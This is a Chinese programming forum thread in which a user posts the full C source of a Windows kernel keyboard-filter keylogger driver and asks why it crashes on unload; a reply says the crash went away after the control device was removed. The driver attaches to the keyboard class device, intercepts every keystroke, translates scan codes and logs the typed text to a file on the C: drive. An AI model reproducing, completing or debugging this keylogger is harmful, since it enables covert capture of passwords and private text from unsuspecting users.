阅读:2621回复:1
求救,键盘记录驱动卸载时死机!
一下键盘记录程序卸载时老是死机,希望大侠们帮看看!
#include <ntddk.h> #include "ntddkbd.h" #include <windef.h> #define INVALID 0X00 //scan code not supported by this driver #define SPACE 0X01 //space bar #define ENTER 0X02 //enter key #define LSHIFT 0x03 //left shift key #define RSHIFT 0x04 //right shift key #define CTRL 0x05 //control key #define ALT 0x06 //alt key typedef struct _KEY_STATE { BOOLEAN kSHIFT; BOOLEAN kCAPSLOCK; BOOLEAN kCTRL; BOOLEAN kALT; }KEY_STATE; typedef struct _DEVICE_EXTENSION { PDEVICE_OBJECT pKeyboardDevice; //PDEVICE_OBJECT pControlDevice; PETHREAD pThreadObject; BOOLEAN bThreadTerminate; HANDLE hLogFile; KEY_STATE kState; KSEMAPHORE semQueue; KSPIN_LOCK lockQueue; LIST_ENTRY QueueListHead; }DEVICE_EXTENSION,*PDEVICE_EXTENSION; /* typedef struct KEYBOARD_INPUT_DATA{ USHORT UnitId; USHORT MakeCode; USHORT Flags; USHORT Reserved; ULONG ExtraInformation; }KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA; */ //在ntddkbd.h中定义 typedef struct KEY_DATA{ char KeyData; char KeyFlags; LIST_ENTRY ListEntry; }KEY_DATA; UNICODE_STRING devNameUnicd; UNICODE_STRING devLinkUnicd; PDEVICE_OBJECT pDevice; //控制设备的设备对象 int numPendingIrps=0; int count=31; char KeyMap[84] = { INVALID, //0 INVALID, //1 '1', //2 '2', //3 '3', //4 '4', //5 '5', //6 '6', //7 '7', //8 '8', //9 '9', //A '0', //B '-', //C '=', //D INVALID, //E INVALID, //F 'q', //10 'w', //11 'e', //12 'r', //13 't', //14 'y', //15 'u', //16 'i', //17 'o', //18 'p', //19 '[', //1A ']', //1B ENTER, //1C CTRL, //1D 'a', //1E 's', //1F 'd', //20 'f', //21 'g', //22 'h', //23 'j', //24 'k', //25 'l', //26 ';', //27 '\'', //28 '`', //29 LSHIFT, //2A '\\', //2B 'z', //2C 'x', //2D 'c', //2E 'v', //2F 'b', //30 'n', //31 'm' , //32 ',', //33 '.', //34 '/', //35 RSHIFT, //36 INVALID, //37 ALT, //38 SPACE, //39 INVALID, //3A INVALID, //3B INVALID, //3C INVALID, //3D INVALID, //3E INVALID, //3F INVALID, //40 INVALID, //41 INVALID, //42 INVALID, //43 INVALID, //44 INVALID, //45 INVALID, //46 '7', //47 '8', //48 '9', //49 INVALID, //4A '4', //4B '5', //4C '6', //4D INVALID, //4E '1', //4F '2', //50 '3', //51 '0', //52 }; int flag; //CAP STATUS char ExtendedKeyMap[84] = { INVALID, //0 INVALID, //1 '!', //2 '@', //3 '#', //4 '$', //5 '%', //6 '^', //7 '&', //8 '*', //9 '(', //A ')', //B '_', //C '+', //D INVALID, //E INVALID, //F 'Q', //10 'W', //11 'E', //12 'R', //13 'T', //14 'Y', //15 'U', //16 'I', //17 'O', //18 'P', //19 '{', //1A '}', //1B ENTER, //1C INVALID, //1D 'A', //1E 'S', //1F 'D', //20 'F', //21 'G', //22 'H', //23 'J', //24 'K', //25 'L', //26 ':', //27 '"', //28 '~', //29 LSHIFT, //2A '|', //2B 'Z', //2C 'X', //2D 'C', //2E 'V', //2F 'B', //30 'N', //31 'M' , //32 '<', //33 '>', //34 '?', //35 RSHIFT, //36 INVALID, //37 INVALID, //38 SPACE, //39 INVALID, //3A INVALID, //3B INVALID, //3C INVALID, //3D INVALID, //3E INVALID, //3F INVALID, //40 INVALID, //41 INVALID, //42 INVALID, //43 INVALID, //44 INVALID, //45 INVALID, //46 '7', //47 '8', //48 '9', //49 INVALID, //4A '4', //4B '5', //4C '6', //4D INVALID, //4E '1', //4F '2', //50 '3', //51 '0', //52 }; ////////////////////////////////////////////////////////////////////////////////////////// //PDEVICE_EXTENSION pKeyboardDeviceExtension; ///////////////////////////////////////////////////////////////////////////////////////// NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject); NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject); NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp); NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp); VOID OnUnload( IN PDRIVER_OBJECT DriverObject ); VOID ThreadKeyLogger(IN PVOID pContext); NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context); void ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys); ////////////////////////////////////////////////////////////////////////////////////////// NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath) { NTSTATUS status={0}; int i; PDEVICE_EXTENSION pKeyboardDeviceExtension; PDEVICE_OBJECT pDevice; IO_STATUS_BLOCK file_status; OBJECT_ATTRIBUTES obj_attrib; CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt"; STRING ntNameString; UNICODE_STRING uFileName; RtlInitUnicodeString(&devNameUnicd,L"\\Device\\PANZER3"); RtlInitUnicodeString(&devLinkUnicd,L"\\??\\PANZER3"); status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN, 0,FALSE,&pDevice); if(!NT_SUCCESS(status)) { DbgPrint(("Can not create device.\n")); return status; } status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd); if(!NT_SUCCESS(status)) { DbgPrint(("Can not create device.SymbolicLink\n")); return status; } for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++) theDriverObject->MajorFunction = DispatchPassDown; theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead; theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]= theDriverObject->MajorFunction[IRP_MJ_CREATE]= theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch; theDriverObject->DriverUnload=OnUnload; DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice); HookKeyboard(theDriverObject); //建立一个线程用来记录键盘动作 InitThreadKeyLogger(theDriverObject); ///////////////////////////////////////////////////////////////////////////////////////////// ////////初始化一个旋转锁来访问链表/////////////////////////////////////////////////////////////// pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension; InitializeListHead(&pKeyboardDeviceExtension->QueueListHead); KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue); KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG); ////////////创建一个纪录文件/////////////////////////////////////////////////////////////////////// RtlInitAnsiString(&ntNameString,ntNameFile); RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE); InitializeObjectAttributes(&obj_attrib,&uFileName, OBJ_CASE_INSENSITIVE, NULL,NULL); status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile, GENERIC_WRITE, &obj_attrib, &file_status, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if(!NT_SUCCESS(status)) return status; RtlFreeUnicodeString(&uFileName); return STATUS_SUCCESS; } VOID OnUnload( IN PDRIVER_OBJECT theDriverObject ) { KTIMER kTimer; LARGE_INTEGER timeout; PDEVICE_EXTENSION pKeyboradDeviceExtension; pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension; IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice); timeout.QuadPart=1000000;//1s KeInitializeTimer(&kTimer); while(numPendingIrps > 0) { KeSetTimer(&kTimer,timeout,NULL); KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL); } pKeyboradDeviceExtension->bThreadTerminate=TRUE; KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会 KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject, Executive,KernelMode,FALSE,NULL); //结束独立的记录线程 ZwClose(pKeyboradDeviceExtension->hLogFile); //关闭文件句柄 IoDeleteDevice(theDriverObject->DeviceObject); //删除设备对象 IoDeleteSymbolicLink(&devLinkUnicd); IoDeleteDevice(pDevice); DbgPrint("My Driver Unloaded!"); return; } NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject) { //IRQL = passive level //建立过滤驱动对象 PDEVICE_EXTENSION pKeyboardDeviceExtension; PDEVICE_OBJECT pKeyboardDeviceObject; CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0"; STRING ntNameString; UNICODE_STRING uKeyboardDevice; NTSTATUS status=IoCreateDevice(theDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, //★注意这里 0, TRUE, &pKeyboardDeviceObject); if(!NT_SUCCESS(status)) return status; /////////// 设置新设备的标志与地层键盘设备标记相同 pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ; pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING; //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。 //然而,如果创建了其它设备对象,则需要进行该清除工作。 //对DEVICE_EXTENSION结构清0 RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION)); pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; /////把keyboardClass0转换成一个UNICODE字符串////////////////////////////////////////////////////////// RtlInitAnsiString(&ntNameString,ntNameBuffer); RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE); //准备工作完成后放置过滤钩子 IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice, &pKeyboardDeviceExtension->pKeyboardDevice); RtlFreeUnicodeString(&uKeyboardDevice); return STATUS_SUCCESS; } NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject) {// IRQL = passive level PDEVICE_EXTENSION pKeyboardDeviceExtension; HANDLE hThread; NTSTATUS status; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension; //////////////////////设置线程状态//////////////////////////////////// pKeyboardDeviceExtension->bThreadTerminate=FALSE; ////////////创建一个线程用来记录//////////////////////////////////////// status=PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadKeyLogger, pKeyboardDeviceExtension); if(!NT_SUCCESS(status)) return status; ///////////////////////////转换保存指向线程对象的指针//////////////////////// ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKeyboardDeviceExtension->pThreadObject, NULL); ZwClose(hThread); return status; } VOID ThreadKeyLogger(IN PVOID pContext) {// IRQL = passive level PDEVICE_OBJECT pKeyboardDeviceObject; PDEVICE_EXTENSION pKeyboardDeviceExtension; PLIST_ENTRY pListEntry; KEY_DATA* kData; char keys[3]={0}; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext; pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice; //等待信号量,若信号量递增,则继续运行处理循环 while(TRUE) { KeWaitForSingleObject( &pKeyboardDeviceExtension->semQueue, Executive, KernelMode, FALSE, NULL); //在链表中安全删除了最高顶端// pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead, &pKeyboardDeviceExtension->lockQueue); if(pKeyboardDeviceExtension->bThreadTerminate==TRUE) { PsTerminateSystemThread(STATUS_SUCCESS); } kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry); ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys); ExFreePool(kData); //删除内存 if(keys!=0&&count<=30) { if(pKeyboardDeviceExtension->hLogFile!=NULL) { IO_STATUS_BLOCK io_status; NTSTATUS status; status=ZwWriteFile( pKeyboardDeviceExtension->hLogFile, NULL, NULL, NULL, &io_status, &keys, strlen(keys), NULL, NULL); if(status!=STATUS_SUCCESS) DbgPrint("write code to file fail!"); count++; } } } return; } VOID ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys) { char key = 0; PIRP irp; KEVENT event = {0}; KEYBOARD_INDICATOR_PARAMETERS indParams = {0}; IO_STATUS_BLOCK ioStatus = {0}; NTSTATUS status = {0}; key = KeyMap[kData->KeyData]; KeInitializeEvent(&event, NotificationEvent, FALSE); //为什么这里又往下发irp??????????????此irp是专门用于检查caps_lock的????? irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pDevExt->pKeyboardDevice, NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus); status = IoCallDriver(pDevExt->pKeyboardDevice, irp); if (status == STATUS_PENDING) { (VOID) KeWaitForSingleObject(&event,Suspended,KernelMode, FALSE,NULL); } status = irp->IoStatus.Status; if(status == STATUS_SUCCESS) { indParams = *(PKEYBOARD_INDICATOR_PARAMETERS)irp->AssociatedIrp.SystemBuffer; if(irp) { flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON); //DbgPrint("Caps Lock Indicator Status: %x.\n",flag); } else { DbgPrint("Error allocating Irp"); flag = 0; } }//end if switch(key) { case LSHIFT: if(kData->KeyFlags == KEY_MAKE) pDevExt->kState.kSHIFT = TRUE; else pDevExt->kState.kSHIFT = FALSE; break; case RSHIFT: if(kData->KeyFlags == KEY_MAKE) pDevExt->kState.kSHIFT = TRUE; else pDevExt->kState.kSHIFT = FALSE; break; case CTRL: if(kData->KeyFlags == KEY_MAKE) pDevExt->kState.kCTRL = TRUE; else pDevExt->kState.kCTRL = FALSE; break; case ALT: if(kData->KeyFlags == KEY_MAKE) pDevExt->kState.kALT = TRUE; else pDevExt->kState.kALT = FALSE; break; case SPACE: if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK)) keys[0] = 0x20; break; case ENTER: if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK)) { keys[0] = 0x0D; keys[1] = 0x0A; }//end if break; default: if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) && (kData->KeyFlags == KEY_BREAK)) //don't convert if ALT or CTRL is pressed { if((key >= 0x21) && (key <= 0x7E)) //don't convert non alpha numeric keys { if(pDevExt->kState.kSHIFT == TRUE) keys[0] = ExtendedKeyMap[kData->KeyData]; else keys[0] = key; DbgPrint("Caps %x.ScanCode: %s",flag,keys); }//end if }//end if break; }//end switch(keys) }//end ConvertScanCodeToKeyCode NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp) { // IRQL = passive level IoSkipCurrentIrpStackLocation(pIrp); return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp); } NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp) { // IRQL = DISPATCH_LEVEL IoCopyCurrentIrpStackLocationToNext(pIrp); IoSetCompletionRoutine(pIrp, OnReadCompletion, theDeviceObject, TRUE, TRUE, TRUE); numPendingIrps++; //纪录挂起的irp数目 return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp); } NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context) {// IRQL = DISPATCH_LEVEL PKEYBOARD_INPUT_DATA keys; int numKeys; int i; KEY_DATA* kData; PDEVICE_EXTENSION pKeyboardDeviceExtension; pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension; if(pIrp->IoStatus.Status==STATUS_SUCCESS) { keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer; numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA); for( i=0;i<numKeys;i++) { if(keys.Flags==KEY_MAKE) DbgPrint("%s\n","Key Down,IrpCallBack FUN"); kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); kData->KeyData=(char)keys.MakeCode; kData->KeyFlags=(char)keys.Flags; /////////创建一个链表将击键动作传递给worker线程///////////////////////////////////// ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead, &kData->ListEntry, &pKeyboardDeviceExtension->lockQueue); //★注意同步 KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE); } } if(pIrp->PendingReturned) IoMarkIrpPending(pIrp); numPendingIrps--; return pIrp->IoStatus.Status; } NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp) { PIO_STACK_LOCATION irpStack; NTSTATUS Status; PVOID InPutBuffer; ULONG ioControlCode; ULONG OutPutLen; PEPROCESS Process; ULONG IOPL = 1; HANDLE hProc; HANDLE *pBuff = NULL; Status=STATUS_SUCCESS; if(pDeviceObject != pDevice) { DbgPrint("keyboard filter!"); IoSkipCurrentIrpStackLocation(pIrp); return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp); } irpStack=IoGetCurrentIrpStackLocation(pIrp); ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode; switch(irpStack->MajorFunction) { case IRP_MJ_CREATE: DbgPrint("Call IRP_MJ_CREATE\n"); break; case IRP_MJ_CLOSE: DbgPrint("Call IRP_MJ_CLOSE\n"); break; case IRP_MJ_DEVICE_CONTROL: OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength; switch(ioControlCode) { case IOCTL_PASSPROCESSID: { /*_asm { mov dx, 0x64 mov al, 0xFE out dx, al }*/ DbgPrint("ioControlCode\n"); } break; default: break; } break; default: DbgPrint("no match control\n"); break; } pIrp->IoStatus.Status = Status; pIrp->IoStatus.Information = 0; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return Status; } |
|
沙发#
发布于:2008-10-20 23:02
自己解决了,把pDevice设备相关全去掉,即不用此设备即可。但不知道具体原因为何。
还有此时只要一按键windows提示音就会响起,不知道是什么原因? |
|